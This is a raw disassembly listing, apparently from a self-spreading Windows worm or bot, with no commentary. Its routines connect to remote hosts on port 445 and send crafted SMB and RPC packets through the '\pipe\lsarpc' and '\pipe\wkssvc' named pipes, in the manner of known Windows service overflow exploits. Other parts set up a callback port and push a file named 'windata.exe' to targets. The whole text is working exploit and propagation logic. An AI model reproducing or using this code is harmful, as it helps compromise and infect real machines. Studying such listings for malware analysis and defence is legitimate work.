push 0FDE8h
push 539h
call sub_41B325
pop ecx
pop ecx
push eax
mov [ebp-8], eax
call ds:dword_444260 ; htons
movzx eax, ax
xor eax, 9999h
mov [ebp-10h], eax
push 2
lea eax, [ebp-10h]
push eax
push offset dword_43FD90
call sub_41F400
add esp, 0Ch
mov eax, esi
dec eax
dec eax
jz loc_4103E9
push 8522h
mov dword ptr [ebp-4], 8520h
call sub_41FEB2
mov dword ptr [esp], 8521h
xor ebx, ebx
mov esi, eax
push ebx
push esi
call sub_41E5F0
push 24h
push offset dword_43FEFC
push esi
call sub_41F400
mov eax, 1004600h
lea edi, [esi+24h]
mov ecx, 1FFAh
push 2
rep stosd
lea eax, [esi+7FF4h]
push ebx
push eax
call sub_41E5F0
push 4FAh
lea eax, [esi+7FF6h]
push offset dword_4403F0
push eax
call sub_41F400
mov eax, 4001h
push 5
mov [esi+18h], eax
mov [esi+20h], eax
lea eax, [esi+7E0h]
push offset dword_43FE7C
push eax
mov dword ptr [esi+8], 8520h
mov dword ptr [esi+10h], 84F0h
call sub_41F400
add esp, 3Ch
xor edi, edi
loc_4103B1: ; CODE XREF: seg000:004103CCj
push 1
lea eax, [esi+edi+24h]
push 90h
push eax
call sub_41E5F0
add esp, 0Ch
inc edi
cmp edi, 1A9h
jle short loc_4103B1
push 195h
lea eax, [esi+3Ch]
push offset dword_43FCE0
push eax
call sub_41F400
add esp, 0Ch
jmp loc_4104EB
; ---------------------------------------------------------------------------
loc_4103E9: ; CODE XREF: seg000:00410316j
push 24F2h
mov dword ptr [ebp-4], 24F0h
call sub_41FEB2
mov dword ptr [esp], 24F1h
xor ebx, ebx
mov esi, eax
push ebx
push esi
call sub_41E5F0
push 24h
push offset dword_43FED8
push esi
call sub_41F400
mov eax, offset loc_410041
lea edi, [esi+24h]
mov ecx, 800h
push 2
rep stosd
lea eax, [esi+2024h]
push ebx
push eax
call sub_41E5F0
push 4CAh
lea eax, [esi+2026h]
push offset dword_43FF20
push eax
call sub_41F400
mov eax, 1001h
push 4
mov [esi+18h], eax
mov [esi+20h], eax
lea eax, [esi+1654h]
push offset dword_43FE78
push eax
mov dword ptr [esi+8], 24F0h
mov dword ptr [esi+10h], 24C0h
call sub_41F400
push 8
lea eax, [esi+165Ch]
push offset off_43FE84
push eax
call sub_41F400
add esp, 48h
mov edi, 32Ah
push edi
call sub_41FEB2
push edi
push ebx
push eax
mov [ebp-0Ch], eax
call sub_41E5F0
push edi
mov edi, [ebp-0Ch]
push edi
push 195h
push offset dword_43FCE0
call sub_41027B
add esp, 20h
cmp eax, 0FFFFFFFFh
jnz short loc_4104D0
push edi
call sub_41FEAD
pop ecx
loc_4104C8: ; CODE XREF: seg000:004106C1j
xor eax, eax
inc eax
jmp loc_4105A4
; ---------------------------------------------------------------------------
loc_4104D0: ; CODE XREF: seg000:004104BFj
push 328h
lea eax, [esi+1664h]
push edi
push eax
call sub_41F400
push edi
call sub_41FEAD
add esp, 10h
loc_4104EB: ; CODE XREF: seg000:004103E4j
cmp dword ptr [ebp+0A8h], 87h
jz short loc_410517
cmp dword ptr [ebp+0A8h], 1BDh
jz loc_4105A9
cmp dword ptr [ebp+0A8h], 401h
jnz loc_41059B
loc_410517: ; CODE XREF: seg000:004104F5j
lea eax, [ebp+0Ch]
push eax
mov word ptr [ebp-24h], 2
call ds:dword_44417C ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-20h], eax
call ds:dword_444260 ; htons
push ebx
push 1
push 2
mov [ebp-22h], ax
call ds:dword_444100 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_41059B
push 10h
lea eax, [ebp-24h]
push eax
push edi
call ds:dword_4440AC ; connect
cmp eax, 0FFFFFFFFh
jz short loc_41059B
push ebx
push 48h
push offset dword_43FE90
push edi
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_41059B
push ebx
push 2710h
lea eax, [ebp-10A8h]
push eax
push edi
call ds:dword_444064 ; recv
push ebx
push dword ptr [ebp-4]
push esi
push edi
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jnz loc_410670
loc_41059B: ; CODE XREF: seg000:00410511j
; seg000:0041054Aj ...
push esi
call sub_41FEAD
loc_4105A1: ; CODE XREF: seg000:00410608j
pop ecx
loc_4105A2: ; CODE XREF: seg000:004102D3j
; seg000:004106AAj
xor eax, eax
loc_4105A4: ; CODE XREF: seg000:004104CBj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4105A9: ; CODE XREF: seg000:00410501j
lea eax, [ebp-44h]
push eax
lea eax, [ebp+0Ch]
push eax
call sub_40C89B
test eax, eax
pop ecx
pop ecx
jz short loc_41059B
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-0A8h]
push offset aSPipeLsarpc ; "\\\\%s\\pipe\\lsarpc"
push eax
call sub_41E6A6
add esp, 0Ch
push ebx
push 80h
push 3
push ebx
push 1
push 0C0000000h
lea eax, [ebp-0A8h]
push eax
call ds:dword_42B08C ; CreateFileA
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_41060A
loc_4105F8: ; CODE XREF: seg000:00410650j
lea eax, [ebp+0Ch]
push eax
call sub_40C979
push esi
call sub_41FEAD
pop ecx
jmp short loc_4105A1
; ---------------------------------------------------------------------------
loc_41060A: ; CODE XREF: seg000:004105F6j
push ebx
lea eax, [ebp-0Ch]
push eax
push 1000h
lea eax, [ebp-10A8h]
push eax
push 48h
push offset dword_43FE90
push edi
call ds:dword_42B088 ; TransactNamedPipe
cmp byte ptr [ebp-10A6h], 0Ch
jz short loc_410635
push edi
jmp short loc_41064A
; ---------------------------------------------------------------------------
loc_410635: ; CODE XREF: seg000:00410630j
push ebx
lea eax, [ebp-14h]
push eax
push dword ptr [ebp-4]
push esi
push edi
call ds:dword_42B084 ; WriteFile
test eax, eax
push edi
jnz short loc_410652
loc_41064A: ; CODE XREF: seg000:00410633j
call ds:dword_42B004 ; CloseHandle
jmp short loc_4105F8
; ---------------------------------------------------------------------------
loc_410652: ; CODE XREF: seg000:00410648j
call ds:dword_42B004 ; CloseHandle
lea eax, [ebp+0Ch]
push eax
call sub_40C979
push esi
call sub_41FEAD
pop ecx
pop ecx
push 1F4h
jmp short loc_410684
; ---------------------------------------------------------------------------
loc_410670: ; CODE XREF: seg000:00410595j
push edi
call ds:dword_444218 ; closesocket
push esi
call sub_41FEAD
mov dword ptr [esp], 1F4h
loc_410684: ; CODE XREF: seg000:0041066Ej
call ds:dword_42B014 ; Sleep
push dword ptr [ebp-8]
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_41B128
add esp, 0C0h
cmp al, 1
jnz loc_4105A2
mov eax, [ebp+0B0h]
shl eax, 6
lea eax, dword_43D888[eax]
inc dword ptr [eax]
jmp loc_4104C8
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 25A8h
call sub_41EA20
push ebx
push esi
push edi
lea eax, [ebp-11A8h]
push eax
push 2
call ds:dword_42B204 ; WSAStartup
xor ebx, ebx
push ebx
push 1
push 2
call ds:dword_444100 ; socket
mov edi, eax
cmp edi, ebx
mov [ebp-8], edi
jl loc_410A2E
push 1BDh
mov word ptr [ebp-18h], 2
call ds:dword_444260 ; htons
mov [ebp-16h], ax
lea eax, [ebp+0Ch]
push eax
call ds:dword_44417C ; inet_addr
push 8
mov [ebp-14h], eax
lea eax, [ebp-10h]
push ebx
push eax
call sub_41E5F0
add esp, 0Ch
push 10h
lea eax, [ebp-18h]
push eax
push edi
call ds:dword_4440AC ; connect
test eax, eax
jl loc_410A2E
push ebx
push 89h
push offset dword_4408F0
push edi
call ds:dword_4441A0 ; send
test eax, eax
jl loc_410A2E
push ebx
mov esi, 1000h
push esi
lea eax, [ebp-25A8h]
push eax
push edi
call ds:dword_444064 ; recv
cmp eax, 0Ah
jle loc_410A2E
cmp [ebp-259Fh], bl
jnz loc_410A2E
push ebx
push 0A8h
push offset dword_440980
push edi
call ds:dword_4441A0 ; send
test eax, eax
jl loc_410A2E
push ebx
push esi
lea eax, [ebp-25A8h]
push eax
push edi
call ds:dword_444064 ; recv
cmp eax, 0Ah
jle loc_410A2E
push ebx
push 0DEh
push offset dword_440A30
push edi
call ds:dword_4441A0 ; send
test eax, eax
jl loc_410A2E
push ebx
push esi
lea eax, [ebp-25A8h]
push eax
push edi
call ds:dword_444064 ; recv
cmp eax, 0Ah
jle loc_410A2E
cmp [ebp-259Fh], bl
jnz loc_410A2E
push 30h
lea eax, [ebp-1018h]
push offset dword_440B10
push eax
call sub_41F400
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-15A8h]
push offset aSIpc_1 ; "\\\\%s\\IPC$"
push eax
call sub_41E6A6
lea eax, [ebp-15A8h]
push eax
lea eax, [ebp-0FE8h]
push eax
call sub_40FB31
lea eax, [ebp-15A8h]
push eax
call sub_41E1C0
shl eax, 1
movzx edi, ax
add eax, 9
mov [ebp-4], eax
push 1
lea eax, [ebp-4]
push eax
lea eax, [ebp-0FEBh]
push eax
lea edi, [ebp+edi-0FE8h]
call sub_41F400
push 8
push offset dword_440B44
push edi
call sub_41F400
xor eax, eax
add edi, 8
mov ax, di
lea ecx, [ebp-1018h]
sub ax, cx
push 1
sub eax, 4
mov [ebp-4], eax
lea eax, [ebp-4]
push eax
lea eax, [ebp-1015h]
push eax
call sub_41F400
add esp, 48h
lea eax, [ebp-1018h]
push ebx
sub edi, eax
push edi
mov edi, [ebp-8]
push eax
push edi
call ds:dword_4441A0 ; send
test eax, eax
jl loc_410A2E
push ebx
push esi
lea eax, [ebp-25A8h]
push eax
push edi
call ds:dword_444064 ; recv
cmp eax, 0Ah
jle loc_410A2E
cmp [ebp-259Fh], bl
jnz loc_410A2E
push ebx
push 6Ah
push offset dword_440B50
push edi
call ds:dword_4441A0 ; send
test eax, eax
jl loc_410A2E
push ebx
push esi
lea eax, [ebp-25A8h]
push eax
push edi
call ds:dword_444064 ; recv
cmp eax, 0Ah
jle loc_410A2E
cmp [ebp-259Fh], bl
jnz loc_410A2E
push ebx
push 0A0h
push offset dword_440BC0
push edi
call ds:dword_4441A0 ; send
test eax, eax
jl loc_410A2E
push ebx
push esi
lea eax, [ebp-25A8h]
push eax
push edi
call ds:dword_444064 ; recv
cmp eax, 0Ah
jle loc_410A2E
cmp [ebp-259Fh], bl
jnz loc_410A2E
push esi
lea eax, [ebp-1018h]
push 0FFFFFF90h
push eax
call sub_41E5F0
push 130h
lea eax, [ebp-1018h]
push offset dword_440C68
push eax
call sub_41F400
add esp, 18h
push 4E1Ah
call ds:dword_444260 ; htons
push 158h
mov ds:word_440E6A, ax
lea eax, [ebp-0EE8h]
push offset dword_440DB0
push eax
call sub_41F400
push 0Ch
lea eax, [ebp-790h]
push offset dword_440D9C
push eax
call sub_41F400
add esp, 18h
push ebx
push 894h
lea eax, [ebp-1018h]
push eax
push edi
call ds:dword_4441A0 ; send
test eax, eax
jl short loc_410A2E
push ebx
push esi
lea eax, [ebp-25A8h]
push eax
push edi
call ds:dword_444064 ; recv
push 12Ch
call ds:dword_42B014 ; Sleep
push 4A2Dh
sub esp, 0BCh
push 2Fh
pop ecx
lea esi, [ebp+8]
mov edi, esp
rep movsd
call sub_41B128
add esp, 0C0h
test al, al
jz short loc_410A2E
mov eax, [ebp+0B0h]
shl eax, 6
lea eax, dword_43D888[eax]
inc dword ptr [eax]
xor eax, eax
inc eax
jmp short loc_410A30
; ---------------------------------------------------------------------------
loc_410A2E: ; CODE XREF: seg000:004106F9j
; seg000:0041073Fj ...
xor eax, eax
loc_410A30: ; CODE XREF: seg000:00410A2Cj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 210h
push esi
xor esi, esi
cmp [ebp+0C4h], esi
push edi
jnz short loc_410A64
push 4
push offset dword_440F10
push offset byte_440F55
call sub_41F400
push 4
push offset dword_440F18
jmp short loc_410A89
; ---------------------------------------------------------------------------
loc_410A64: ; CODE XREF: seg000:00410A48j
cmp dword ptr [ebp+0C4h], 1
jnz loc_410BA8
push 4
push offset dword_440F20
push offset byte_440F55
call sub_41F400
push 4
push offset dword_440F28
loc_410A89: ; CODE XREF: seg000:00410A62j
push offset aRrrrrrrrrrrrrr ; ""...
call sub_41F400
add esp, 18h
push offset aWindata_exe ; "windata.exe"
push dword ptr [ebp+8]
call sub_4023C9
pop ecx
push eax
lea eax, [ebp-210h]
push 200h
push eax
call sub_40AE18
add esp, 10h
test eax, eax
jz loc_410BA8
push esi
push 1
push 2
call ds:dword_444100 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_410BA8
push 10h
lea eax, [ebp-10h]
push esi
push eax
call sub_41E5F0
add esp, 0Ch
push dword ptr [ebp+0A8h]
mov word ptr [ebp-10h], 2
call ds:dword_444260 ; htons
mov [ebp-0Eh], ax
lea eax, [ebp+0Ch]
push eax
call ds:dword_44417C ; inet_addr
mov [ebp-0Ch], eax
push 10h
lea eax, [ebp-10h]
push eax
push edi
call ds:dword_4440AC ; connect
cmp eax, 0FFFFFFFFh
jz loc_410BA1
push esi
push 85h
push offset dword_440F30
push edi
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_410BA1
mov esi, ds:dword_42B014
push 0Ah
call esi ; Sleep
and dword ptr [ebp+0C4h], 0
loc_410B47: ; CODE XREF: seg000:00410B7Bj
lea eax, [ebp-210h]
push 0
push eax
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp-210h]
push eax
push edi
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_410BA1
push 0Ah
call esi ; Sleep
inc dword ptr [ebp+0C4h]
cmp dword ptr [ebp+0C4h], 7
jl short loc_410B47
push 3E8h
call esi ; Sleep
push edi
call ds:dword_444218 ; closesocket
mov eax, [ebp+0B0h]
shl eax, 6
lea eax, dword_43D888[eax]
inc dword ptr [eax]
xor eax, eax
inc eax
jmp short loc_410BAA
; ---------------------------------------------------------------------------
loc_410BA1: ; CODE XREF: seg000:00410B19j
; seg000:00410B34j ...
push edi
call ds:dword_444218 ; closesocket
loc_410BA8: ; CODE XREF: seg000:00410A6Bj
; seg000:00410ABBj ...
xor eax, eax
loc_410BAA: ; CODE XREF: seg000:00410B9Fj
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
dw 5756h
dd 0EC81006Ah, 0BCh, 8D592F6Ah, 0CC24B4h, 0FC8B0000h, 6AE8A5F3h
dd 81FFFFFEh, 0C0C4h, 81016A00h, 0BCECh, 592F6A00h, 0CC24B48Dh
dd 8B000000h, 0E8A5F3FCh, 0FFFFFE49h, 0C0C481h, 0C0330000h
dd 0C35E405Fh, 3950B855h, 6C8D0002h, 19E89C24h, 530000DEh
dd 0C6A5756h, 33C03359h, 205D88DBh, 0F3217D8Dh, 9D88AAABh
dd 0FFFEFF94h, 0FFB9C033h, 8D00003Fh, 0FEFF95BDh, 66ABF3FFh
dd 59226AABh, 0AA7475FFh, 4332B0BEh, 987D8D00h, 15FFA5F3h
dd 42B200h, 357075FFh, 8080h, 1087A366h, 15FF0044h, 444260h
dd 666C75FFh, 66564589h, 25445C7h, 7C15FF00h, 53004441h
dd 26A016Ah, 0FF584589h, 44410015h, 83F08B00h, 875FFFEh
dd 0E940C033h, 113h, 458D106Ah, 0FF565054h, 4440AC15h
dd 0FFF88300h, 0C00B0775h, 0FAE9h, 4343B800h, 0B94343h
dd 8D000040h, 0FEFF94BDh, 33ABF3FFh, 22D3DC0h, 1C730000h
dd 0FB8888Ah, 8C880044h, 0FFF99405h, 888D40FFh, 0FA00h
dd 0F981h, 0DD720001h, 8878458Ah, 0FF00AF85h, 7C458AFFh
dd 1388068h, 0B0858800h, 8DFFFF00h, 0FDC71485h, 885053FFh
dd 0EDE8945Dh, 6A0000D8h, 20458D32h, 0E1E85053h, 0FF0000D8h
dd 858D6C75h, 0FFFEFF94h, 14858D50h, 68FFFDC7h, 433268h
dd 0D97CE850h, 458D0000h, 8DE85098h, 500000D4h, 0C714858Dh
dd 6850FFFDh, 43325Ch, 0D960E850h, 0C4830000h, 14858D3Ch
dd 53FFFDC7h, 0D46AE850h, 3D8B0000h, 42B210h, 858D5059h
dd 0FFFDC714h, 0D7FF5650h, 5398458Dh, 0D44EE850h, 50590000h
dd 5098458Dh, 53D7FF56h, 458D326Ah, 0FF565020h, 44406415h
dd 205D3800h, 0CF830574h, 3303EBFFh, 0FF5647FFh, 44421815h
dd 5FC78B00h, 0C5835B5Eh, 56C3C964h, 11E8BF57h, 83BE0044h
dd 0FF000000h, 448D0477h, 37FF1424h, 24B4FF56h, 0B8h, 0FE2EE850h
dd 0C483FFFFh, 0FFF88314h, 0C7835174h, 48FF8108h, 7E004412h
dd 1F468D6h, 15FF0000h, 42B014h, 0BCEC8156h, 6A000000h
dd 0B48D592Fh, 0CC24h, 0F3FC8B00h, 0A326E8A5h, 0C4810000h
dd 0C0h, 1775013Ch, 0B424848Bh, 0C1000000h, 808D06E0h
dd 43D888h, 0C03300FFh, 3302EB40h, 0C35E5FC0h
; =============== S U B R O U T I N E =======================================
sub_410E28 proc near ; CODE XREF: seg000:00411000p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
xor edx, edx
cmp [esp+arg_4], edx
jbe short locret_410E58
push esi
mov esi, [esp+4+arg_8]
loc_410E35: ; CODE XREF: sub_410E28+2Dj
mov eax, [esp+4+arg_0]
mov cl, [edx+eax]
mov al, cl
shr al, 4
and cl, 0Fh
add cl, 41h
add al, 41h
mov [esi+edx*2], cl
mov [esi+edx*2+1], al
inc edx
cmp edx, [esp+4+arg_4]
jb short loc_410E35
pop esi
locret_410E58: ; CODE XREF: sub_410E28+6j
retn
sub_410E28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410E59 proc near ; CODE XREF: sub_410E59+CDp
; seg000:00411384p
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_7 = byte ptr 0Fh
arg_C = word ptr 14h
arg_14 = dword ptr 1Ch
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = byte ptr 30h
arg_2B = byte ptr 33h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_28], 0
push ebx
push esi
push edi
jz short loc_410E6D
or [ebp+arg_7], 1
jmp short loc_410E71
; ---------------------------------------------------------------------------
loc_410E6D: ; CODE XREF: sub_410E59+Cj
and [ebp+arg_7], 0FEh
loc_410E71: ; CODE XREF: sub_410E59+12j
mov ebx, [ebp+arg_20]
mov eax, [ebp+arg_24]
lea ecx, [ebx+18h]
cmp ecx, eax
ja short loc_410E92
or [ebp+arg_7], 2
lea eax, [ebx+18h]
mov [ebp+arg_C], ax
mov [ebp+arg_14], ebx
mov [ebp+arg_2B], 0
jmp short loc_410EA4
; ---------------------------------------------------------------------------
loc_410E92: ; CODE XREF: sub_410E59+23j
mov [ebp+arg_C], ax
add eax, 0FFFFFFE8h
and [ebp+arg_7], 0FDh
mov [ebp+arg_14], eax
mov [ebp+arg_2B], 1
loc_410EA4: ; CODE XREF: sub_410E59+37j
movzx eax, [ebp+arg_C]
push eax
mov [ebp+var_4], eax
call sub_41E5D3
test eax, eax
pop ecx
mov [ebp+arg_20], eax
jnz short loc_410EBD
loc_410EB9: ; CODE XREF: sub_410E59+A4j
xor al, al
jmp short loc_410F32
; ---------------------------------------------------------------------------
loc_410EBD: ; CODE XREF: sub_410E59+5Ej
push 6
pop ecx
mov edi, eax
lea esi, [ebp+arg_4]
rep movsd
mov edi, [ebp+arg_14]
mov esi, [ebp+arg_1C]
push edi
add eax, 18h
push esi
push eax
call sub_41F400
add esp, 0Ch
push 0
lea eax, [ebp+var_8]
push eax
push [ebp+var_4]
push [ebp+arg_20]
push [ebp+arg_0]
call ds:dword_42B084 ; WriteFile
test eax, eax
push [ebp+arg_20]
jnz short loc_410EFF
call sub_41E2A1
pop ecx
jmp short loc_410EB9
; ---------------------------------------------------------------------------
loc_410EFF: ; CODE XREF: sub_410E59+9Cj
call sub_41E2A1
cmp [ebp+arg_2B], 0
pop ecx
jz short loc_410F30
push 0
push [ebp+arg_24]
sub ebx, edi
push ebx
add edi, esi
push edi
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+arg_0]
lea esi, [ebp+arg_4]
rep movsd
call sub_410E59
add esp, 2Ch
jmp short loc_410F32
; ---------------------------------------------------------------------------
loc_410F30: ; CODE XREF: sub_410E59+B0j
mov al, 1
loc_410F32: ; CODE XREF: sub_410E59+62j
; sub_410E59+D5j
pop edi
pop esi
pop ebx
leave
retn
sub_410E59 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 0CC48h
call sub_41EA20
push ebx
push esi
xor ebx, ebx
push edi
inc ebx
lea eax, [ebp+10h]
push ebx
push eax
call sub_41AA0A
cmp eax, 3
pop ecx
pop ecx
jz short loc_410F62
xor eax, eax
jmp loc_4113B2
; ---------------------------------------------------------------------------
loc_410F62: ; CODE XREF: seg000:00410F59j
push 2B3h
xor esi, esi
lea eax, [ebp-344h]
push esi
push eax
call sub_41E5F0
push 0DACh
lea eax, [ebp-10F0h]
push esi
push eax
call sub_41E5F0
push 1B58h
lea eax, [ebp-2C48h]
push esi
push eax
call sub_41E5F0
push 0DABh
lea eax, [ebp-10F0h]
push 41h
push eax
call sub_41E5F0
mov edi, [ebp+8]
shl edi, 4
mov eax, ds:dword_441410[edi]
mov ecx, ds:dword_44140C[edi]
push 5
mov [ebp+eax-10F0h], ecx
lea eax, [ebp-7F4h]
push offset aFb ; "fìÐ\a"
push eax
call sub_41F400
push 3Fh
lea eax, [ebp-7EFh]
push offset dword_4413C8
push eax
call sub_41F400
add esp, 48h
lea eax, [ebp-344h]
push eax
push 159h
push offset dword_441268
call sub_410E28
lea eax, [ebp-344h]
push eax
call sub_41E1C0
push eax
lea eax, [ebp-344h]
push eax
lea eax, [ebp-7B0h]
push eax
call sub_41F400
lea eax, [ebp-344h]
push eax
call sub_41E1C0
add esp, 20h
mov byte ptr [ebp+eax-7B0h], 0
xor eax, eax
loc_41103E: ; CODE XREF: seg000:00411055j
movzx cx, byte ptr [ebp+eax-10F0h]
mov [ebp+eax*2-2C48h], cx
inc eax
cmp eax, 0DACh
jb short loc_41103E
lea eax, [ebp+10h]
push eax
push offset aS_1 ; "\\\\%s"
lea eax, [ebp-8C48h]
push 2000h
push eax
call sub_41E6FE
push 2000h
lea eax, [ebp-8C48h]
push eax
lea eax, [ebp-0CC48h]
push eax
call sub_4204DD
lea eax, [ebp+10h]
push offset a__0 ; "."
push eax
call sub_429A60
add esp, 24h
test eax, eax
jz short loc_4110E8
lea eax, [ebp+10h]
push eax
push offset aSIpc ; "\\\\%s\\ipc$"
lea eax, [ebp-4C48h]
push 2000h
push eax
call sub_41E6FE
push 20h
lea eax, [ebp-90h]
push esi
push eax
call sub_41E5F0
add esp, 1Ch
lea eax, [ebp-4C48h]
mov [ebp-7Ch], eax
push esi
mov eax, offset byte_42B633
push eax
push eax
lea eax, [ebp-90h]
push eax
call ds:dword_4441AC
loc_4110E8: ; CODE XREF: seg000:0041109Cj
lea eax, [ebp+10h]
push eax
push offset aSPipeWkssvc ; "\\\\%s\\pipe\\wkssvc"
lea eax, [ebp-6C48h]
push 2000h
push eax
call sub_41E6FE
add esp, 10h
push esi
push esi
push 3
push esi
push 3
push 40000000h
lea eax, [ebp-6C48h]
push eax
call ds:dword_42B08C ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_41112D
loc_411126: ; CODE XREF: seg000:00411223j
xor edi, edi
jmp loc_4113A5
; ---------------------------------------------------------------------------
loc_41112D: ; CODE XREF: seg000:00411124j
push 48h
lea eax, [ebp-6Ch]
push esi
push eax
call sub_41E5F0
push 10h
pop eax
push eax
mov [ebp-68h], eax
lea eax, [ebp-4Ch]
push offset dword_433DC8
push eax
mov byte ptr [ebp-6Ch], 5
mov byte ptr [ebp-6Bh], 0
mov byte ptr [ebp-6Ah], 0Bh
mov byte ptr [ebp-69h], 3
mov word ptr [ebp-64h], 48h
mov [ebp-62h], si
mov [ebp-60h], ebx
mov word ptr [ebp-5Ch], 10B8h
mov word ptr [ebp-5Ah], 10B8h
mov [ebp-58h], esi
mov [ebp-54h], ebx
mov [ebp-50h], si
mov byte ptr [ebp-4Eh], 1
mov [ebp-3Ch], ebx
call sub_41F400
push 10h
lea eax, [ebp-38h]
push offset dword_433DB4
push eax
mov dword ptr [ebp-28h], 2
call sub_41F400
add esp, 24h
push esi
lea eax, [ebp-70h]
push eax
push 48h
lea eax, [ebp-6Ch]
push eax
push dword ptr [ebp-8]
call ds:dword_42B084 ; WriteFile
test eax, eax
jz short loc_41121A
lea eax, [ebp-0CC48h]
push eax
call sub_4206A3
pop ecx
lea ebx, [eax+eax+12h]
jmp short loc_4111CE
; ---------------------------------------------------------------------------
loc_4111CD: ; CODE XREF: seg000:004111D1j
inc ebx
loc_4111CE: ; CODE XREF: seg000:004111CBj
test bl, 3
jnz short loc_4111CD
cmp ds:byte_441414[edi], 0
jz short loc_4111DF
add ebx, 4
loc_4111DF: ; CODE XREF: seg000:004111DAj
lea eax, [ebp-2C48h]
push eax
call sub_4206A3
pop ecx
lea eax, [ebx+eax*2+0Eh]
jmp short loc_4111F3
; ---------------------------------------------------------------------------
loc_4111F2: ; CODE XREF: seg000:004111F5j
inc eax
loc_4111F3: ; CODE XREF: seg000:004111F0j
test al, 3
jnz short loc_4111F2
add eax, 8
cmp ds:byte_441414[edi], 0
jz short loc_411208
add eax, 4
jmp short loc_41120A
; ---------------------------------------------------------------------------
loc_411208: ; CODE XREF: seg000:00411201j
inc eax
inc eax
loc_41120A: ; CODE XREF: seg000:00411206j
push eax
mov [ebp-0Ch], eax
call sub_41E5D3
mov ebx, eax
cmp ebx, esi
pop ecx
jnz short loc_411228
loc_41121A: ; CODE XREF: seg000:004111B8j
push dword ptr [ebp-8]
call ds:dword_42B004 ; CloseHandle
jmp loc_411126
; ---------------------------------------------------------------------------
loc_411228: ; CODE XREF: seg000:00411218j
push dword ptr [ebp-0Ch]
push esi
push ebx
call sub_41E5F0
push 4
push offset dword_441258
push ebx
call sub_41F400
lea eax, [ebp-0CC48h]
push eax
call sub_4206A3
inc eax
mov [ebx+0Ch], eax
mov [ebx+4], eax
lea eax, [ebp-0CC48h]
push eax
lea eax, [ebx+10h]
push eax
mov [ebx+8], esi
call sub_41F862
lea eax, [ebp-0CC48h]
push eax
call sub_4206A3
lea eax, [eax+eax+12h]
add esp, 28h
test al, 3
mov [ebp-4], eax
jz short loc_411287
loc_41127F: ; CODE XREF: seg000:00411282j
inc eax
test al, 3
jnz short loc_41127F
mov [ebp-4], eax
loc_411287: ; CODE XREF: seg000:0041127Dj
cmp ds:byte_441414[edi], 0
jz short loc_4112A6
push 4
add eax, ebx
push offset dword_441260
push eax
call sub_41F400
add esp, 0Ch
add dword ptr [ebp-4], 4
loc_4112A6: ; CODE XREF: seg000:0041128Ej
lea eax, [ebp-2C48h]
push eax
call sub_4206A3
mov ecx, [ebp-4]
inc eax
mov [ecx+ebx+8], eax
mov [ecx+ebx], eax
mov [ecx+ebx+4], esi
add ecx, 0Ch
lea eax, [ebp-2C48h]
mov [ebp-4], ecx
push eax
add ecx, ebx
push ecx
call sub_41F862
lea eax, [ebp-2C48h]
push eax
call sub_4206A3
mov ecx, [ebp-4]
lea eax, [ecx+eax*2+2]
add esp, 10h
test al, 3
mov [ebp-4], eax
jz short loc_4112FB
loc_4112F3: ; CODE XREF: seg000:004112F6j
inc eax
test al, 3
jnz short loc_4112F3
mov [ebp-4], eax
loc_4112FB: ; CODE XREF: seg000:004112F1j
push 8
add eax, ebx
push esi
push eax
call sub_41E5F0
mov eax, [ebp-4]
add esp, 0Ch
add eax, 8
cmp ds:byte_441414[edi], 0
jz short loc_41131D
mov [eax+ebx], esi
jmp short loc_411323
; ---------------------------------------------------------------------------
loc_41131D: ; CODE XREF: seg000:00411316j
mov word ptr [eax+ebx], 1
loc_411323: ; CODE XREF: seg000:0041131Bj
push 18h
lea eax, [ebp-24h]
push esi
push eax
call sub_41E5F0
add esp, 0Ch
xor ecx, ecx
xor eax, eax
inc eax
cmp ds:byte_441414[edi], cl
push eax
push 10B8h
push dword ptr [ebp-0Ch]
setnz cl
push ebx
sub esp, 18h
push 6
mov [ebp-1Ah], si
mov [ebp-10h], si
mov byte ptr [ebp-24h], 5
lea ecx, [ecx+ecx+19h]
mov [ebp-0Eh], cx
pop ecx
mov edi, esp
push dword ptr [ebp-8]
mov byte ptr [ebp-23h], 0
mov byte ptr [ebp-22h], 0
mov byte ptr [ebp-21h], 3
mov dword ptr [ebp-20h], 10h
mov [ebp-18h], eax
lea esi, [ebp-24h]
rep movsd
call sub_410E59
add esp, 2Ch
xor edi, edi
test al, al
jz short loc_411393
inc edi
loc_411393: ; CODE XREF: seg000:00411390j
push dword ptr [ebp-8]
call ds:dword_42B004 ; CloseHandle
push ebx
call sub_41E2A1
pop ecx
xor esi, esi
loc_4113A5: ; CODE XREF: seg000:00411128j
push esi
push esi
push dword ptr [ebp-7Ch]
call ds:dword_4440D8
mov eax, edi
loc_4113B2: ; CODE XREF: seg000:00410F5Dj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
aVwb db 'VWì¼',0
db 2 dup(0), 6Ah
dd 0FC8B592Fh, 0C824B48Dh, 6A000000h, 0E8A5F301h, 0FFFFFB63h
